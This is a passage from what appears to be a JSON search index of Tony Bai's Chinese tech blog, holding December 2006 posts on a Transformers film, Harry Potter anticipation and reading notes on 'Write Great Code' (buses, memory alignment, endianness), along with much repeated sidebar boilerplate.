协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/12/25/2006-christmas-impression/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"2006·圣诞印象"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/12/23/expect-harry-potter-and-the-deathly-hallows/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"2006岁末期待·Harry Potter and the Deathly Hallows"},{"content":"据悉由史蒂文·斯皮尔伯格(Steven Spielberg)担任制片，迈克尔·贝(Michael Bay)执导的电影真人版’变形金刚’将于2007年美国独立日纪念日那天也就是7月4号在全球上映，对于我这个出生在80年代初的人来说，这绝对是一个令人振奋的消息，绝对是一部值得期待的片子。\n也许现在的小孩子们都没有听说过’变形金刚’这部动画片了，但是在我小时候，在那时’变形金刚’可是掀起过一场不小的潮流的。记得那时在上小学，小男孩么都喜欢玩具，由于变形金刚、百变雄狮等美国动画片的热播，玩具市场上相关的书籍和玩具真是琳琅满目，让你挑花眼。不过正宗’孩子宝’公司的变形金刚玩具又贵又买不到，那时候如果要拥有一个真正的’孩子宝’公司的变形金刚玩具那绝对可以让你在班级里成为众人瞩目的’明星’的。我记得当时我买过几个’擎天柱’的玩具，和同学换过一个’弹簧’，就是那个直升机变形金刚的玩具，当时特别喜欢同学的那个’千斤顶’(一辆白色赛车，肩头有一门炮那个机器人)玩具，市面上都买不到。那几个玩具每天摆来摆去，变来变去，就是爱不释手。当时还有一种叫’粘贴’的东西，都是图片，可以粘到你的书本封皮上，这样天天可以看到，那时因为变形金刚，粘贴也特火。年末的明信片也有变形金刚套装，我当时都买，过了这么多年了，也不知道都丢到哪里去了。我最喜欢的变形金刚中的人物一是擎天柱，二就是大都市，就是汽车人那派里面最大的那个机器人。\n除了玩变形金刚玩具，记得当时我还喜欢画，照着动画书上的图片在白纸上画，我画了不止两三本，现在回家我妈有时还和我谈起此事呢^_^。我小时候爱画画，如果放到现在家长肯定让我去学画画了^_^。\n变形金刚的确是一部很好的动画片，在当时也很有教育意义，宣传正义，对孩子很有好处。而且我觉得还有一点就是激发小孩子们的想象力。你想当时是80年代，动画片里讲的都是机器人，激光武器，宇宙飞船，我想很多小孩子是因为看了这部动画片后才对科学知识产生浓厚兴趣的。\n今天才在网上查到’变形金刚’这部动画片的创作者是一个叫马克-布鲁克斯的人，非常感谢他能创作出这么好看的动画片。期待着明年真人版’变形金刚’的上映，到时候再细细回味童年时的那种感觉。\n","permalink":"https://tonybai.com/2006/12/23/expect-transformers/","summary":"\u003cp\u003e据悉由史蒂文·斯皮尔伯格(Steven Spielberg)担任制片，迈克尔·贝(Michael Bay)执导的电影真人版’变形金刚’将于2007年美国独立日纪念日那天也就是7月4号在全球上映，对于我这个出生在80年代初的人来说，这绝对是一个令人振奋的消息，绝对是一部值得期待的片子。\u003c/p\u003e","title":"2006岁末期待·Transformers"},{"content":"以前曾经说过自己并非计算机科班出身。想想自己在大学时的学习过程未免有些底气不足，记得当时一直坚持去旁听计算机专业的课，但是鉴于本专业老师的点名和课堂作业，自己未免耽误了很多节课，弄得自己学的很不系统，效果不是很好。工作后一直从事应用级的开发，对计算机方面基础的本源性的知识也逐渐陌生起来。但我是那种知其然也要知其所以然的人，这两年也不间断的买了不少讲解计算机底层知识的书，目的是让那些计算机本源性的东西在我脑袋里逐渐清晰了起来。这不又一本好书问世了-\u0026lsquo;Write Great Code\u0026rsquo;第一卷，我很早就已经下载了其英文版，只是没来得急看，这两天看了其中几章，发现很适合我的口味。\n在我眼中每个领域的大师级人物都是知其领域本源的人，他们把本领域的知识融汇贯通，而且大多时候我们在聆听大师级人物的讲解时都有一种豁然开朗的感觉，那其实就是因为他的知识体系很成形，他们会从本源去讲解，从最简单的原始状态去讲解，这样听起来印象深刻，收获自然颇丰。\n\u0026lsquo;Write Great Code\u0026rsquo;(中文名：编程卓越之道)一系书的作者是Randall Hyde，他同时也是\u0026rsquo;The Art of Assembly Language\u0026rsquo;的作者。\u0026lsquo;The Art of Assembly Language\u0026rsquo;一书算是汇编领域的佼佼者了，虽然我没看过^_^，不过网友的评价也是很重肯的哟。当初刚刚下载\u0026rsquo;Write Great Code\u0026rsquo; Vol1时曾经浏览一遍目录，\u0026lsquo;Numeric Representation\u0026rsquo;，\u0026lsquo;Binary Arithmetic and Bit Operations\u0026rsquo;等这些章节的名字让我心动，我就喜欢这样的书，而且和一般的教材性质的计算机组织结构或者计算机系统结构相比，这本书是从程序员角度来讲的，更加适合我们这些人的口味。这本书所讲解的知识层次就在我们工作层次的下一层，对于想挖掘知识本源的我来说再合适不过了，东西要一点一点的吃，你说是不是^_^。\n我没有从开篇\u0026rsquo;Numeric Representation\u0026rsquo;这张开始读，我直接跳到了第六章\u0026rsquo;Memory Organization and Access\u0026rsquo;，因为前不久又对内存对齐等有新的认识，所以我也希望通过这章的阅读知道更多的东西，让我脑子中的知识点\u0026rsquo;串\u0026rsquo;起来。这本书没有令我失望，本章第一节关于三大总线的介绍就格外精彩：\nThe system bus connects the various components of a VNA machine.\n-\u0026gt; A bus is a collection of wires on which electrical signals pass between components of the system.\n-\u0026gt; Most CPUs have three major buses: the address bus, the data bus, and the control bus.\n-\u0026gt; CPUs use the data bus to shuffle data between the various components in a computer system.\n-\u0026gt; The data bus on an 80×86 family processor transfers information between a particular memory location or I/O device and the CPU. The only question is, \u0026lsquo;Which memory location or I/O device?\u0026rsquo; The address bus answers that question.\n-\u0026gt; The CPU uses the data bus to move data between itself and memory. This prompts the question, \u0026lsquo;How does the system know whether it is sending or receiving data?\u0026rsquo; Well, the system uses two lines on the control bus, read and write, to determine the data flow direction (CPU to memory, or memory to CPU).\n几句\u0026rsquo;关键意义\u0026rsquo;的句子循序渐进的把三大总线的用途描绘的淋漓尽致，其思路和方式完全符合认知的过程，同时让你的大脑里马上形成一个框架，带着这个框架再去读相关细节，只能让你越读越兴奋。\n第6.2小节讲的是物理内存的组织以及CPU如何访问内存，但是你看完后再细致品味，实际上这节的内容完全可以作为\u0026rsquo;为什么要进行Data Alignment\u0026rsquo;的标准讲义，和我上次在\u0026rsquo;三谈内存对齐－背后的故事\u0026lsquo;一文中说的同出一辙，而且更加细致，让我对内存这块的内幕了解的更加透彻。\n第6.3小节讲的则是\u0026rsquo;字节序\u0026rsquo;问题，讲解了\u0026rsquo;Big-endian\u0026rsquo;和\u0026rsquo;Little-endian\u0026rsquo;的由来，最后作者通过一个很实用的例子形象的说明了字节序带来的影响。\n第6.4节和6.5节讲的略微有些深了，要细看才行，最好对更底层有所了解，可以参照别的书籍一起学。\n我刚刚读到第7章-\u0026lsquo;Composite Data Types and Memory Objects\u0026rsquo;，该章每一小节针对一种复合数据类型做深入分析，精彩在后头，我正准备继续呢，实在忍不住了，写下此篇，好让更多同仁知道有这么一本书，早读早受益，明天周末去书店买本中文版，坐在床上读更舒服。\n从本源看世界，你会发现另一番天地。\n","permalink":"https://tonybai.com/2006/12/22/write-great-code-reading-note/","summary":"\u003cp\u003e以前曾经说过自己并非计算机科班出身。想想自己在大学时的学习过程未免有些底气不足，记得当时一直坚持去旁听计算机专业的课，但是鉴于本专业老师的点名和课堂作业，自己未免耽误了很多节课，弄得自己学的很不系统，效果不是很好。工作后一直从事应用级的开发，对计算机方面基础的本源性的知识也逐渐陌生起来。但我是那种知其然也要知其所以然的人，这两年也不间断的买了不少讲解计算机底层知识的书，目的是让那些计算机本源性的东西在我脑袋里逐渐清晰了起来。这不又一本好书问世了-\u0026lsquo;Write Great Code\u0026rsquo;第一卷，我很早就已经下载了其英文版，只是没来得急看，这两天看了其中几章，发现很适合我的口味。\u003c/p\u003e","title":"从本源看世界-读'Write Great Code'"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 